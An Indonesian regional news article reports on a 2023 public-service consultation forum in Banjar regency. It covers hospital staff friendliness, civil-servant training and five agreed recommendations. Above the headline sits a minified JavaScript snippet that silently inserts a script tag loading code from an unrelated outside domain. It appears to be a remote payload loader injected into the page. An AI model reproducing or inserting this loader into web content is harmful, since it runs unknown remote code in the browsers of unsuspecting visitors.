(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Penyelenggara Pelayanan Publik Harus Ramah dan Mempersingkat Waktu

KANALKALIMANTAN.COM, MARTAPURA – RS Ciputra Mitra Hospital adalah RS swasta yang memiliki pelayanan standar yang terbaik dari segi pelayanan dan keramahannya.

Perihal tersebut mengundang beberapa pertanyaan dari berbagai pihak, salah satunya peserta forum konsultasi publik pelayanan publik Kabupaten Banjar tahun 2023 bertempat di Hotel Tree Park Banjarmasin, Selasa (31/10/2023).

“Terkait dengan pelayanan yang ada di RS Ciputra Mitra Hospital mungkin bisa disharing, saya tertarik mengenai bagaimana manajemen sumber daya manusianya mengenai personel,” kata Nufus dari tim penyelenggara pelayanan publik pada Dinas Kependudukan dan Pencatatan Sipil Kabupaten Banjar.

Lanjut Nufus, misalnya dimulai dari strategi atau kebijakan apa saja yang dilakukan RS Ciputra Mitra Hospital dalam rekrutmen, bagaimana mendapatkan pegawai yang baik, dan bagaimana pembinaan pegawai karena saya beberapa kali mengunjungi RS itu hampir tidak ada petugas pelayanan yang tidak ramah.

“Banyak juga pelayanan swasta yang sangat minim dibandingkan kami sebagai pemberi pelayanan publik, masih ada menemukan SDM kami yang mendapatkan pengaduan,” kata Nufus.

Tenaga medis pada RS Ciputra Mitra Hospital dr Sony Prabowo mengatakan, ada beberapa hal yang menjadi perbedaan untuk swasta dan pemerintahan, misal dalam kepegawaian.

Apalagi ASN dari sumber dayanya mengikuti pelatihan secara rutin sesuai dengan kebutuhan. Ada juga sistem pembinaan dan pemeliharaan secara berkala minimal 3 bulan perlu dievaluasi.

“Karena saya percaya sebagian besar itu bisa dipelajari, bisa dilatih dan bisa diubah walaupun sebagian kecil ada yang tidak dapat diajari, dilatih dan diubah,” ucap dr Sony Prabowo

“Contoh identifikasi masalah RS Ciputra Mitra Hospital yaitu keramahan petugas kurang karena memakai masker dan akrilik pembatas, maka usulan rekomendasi perbaikan dengan cara melepas akrilik, masker digunakan bila perlu dan lakukan pelatihan ulang service excellent ke staf,” bebernya.

Pada forum konsultasi publik pelayanan publik, Pemkab Banjar menghadirkan beberapa narasumber dan unsur perwakilan masyarakat.

Diantaranya dr Sony Prabowo dari RS Ciputra Mitra Hospital Banjarmasin, Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPTSP) Kabupaten Banjar Yudi Andrea SSTP MH, Kepala Disdukcapil Kabupaten Banjar Azwar SH MSi, Anang Said perwakilan Dinas Sosial Pemberdayaan Perempuan, Pemberdayaan Anak, Pengendalian Penduduk dan Keluarga Berencana Kabupaten Banjar, dan dr Eka Listyrini MSc SpKK, Plt Direktur RSUD Ratu Zalecha Martapura.

Dari semua hasil pemaparan narasumber hingga sesi diskusi tanya jawab dari berbagai unsur yang hadir, forum konsultasi pelayanan publik Kabupaten Banjar memperoleh lima poin bersama yaitu :

1.Perangkat daerah penyelenggara pelayanan publik di kabupaten berupaya untuk semakin meningkatkan pelayanan publik pada unit masing-masing.

2. Pelayanan publik harus disupport dengan terobosan dan inovasi untuk memudahkan, meningkatkan pelayanan dan mempersingkat waktu pelayanan, serta meluaskan manfaat pelayanan publik.

3. Sarana dan prasarana harus menjadi bagian penting dalam upaya pemenuhan kualitas pelayanan publik.

4. Kualitas sumber daya manusia dalam memberikan pelayanan publik kepada masyarakat harus ditingkatkan dengan diberikan pelatihan untuk memberikan pelayanan prima.

5. Perbaikan data pada unit penyelenggara pelayanan publik.

Hadir dalam forum konsultasi publik dari unsur masyarakat yaitu Pratolo Hagni Spi mewakili Forum Lurah Kabupaten Banjar, Hj Gunarti SST MKes dari Ikatan Bidan Indonesia, dan Kasmayudha Ketua Apdesi Kabupaten Banjar. (Kanalkalimantan.com/nh)

Reporter : nh
Editor : bie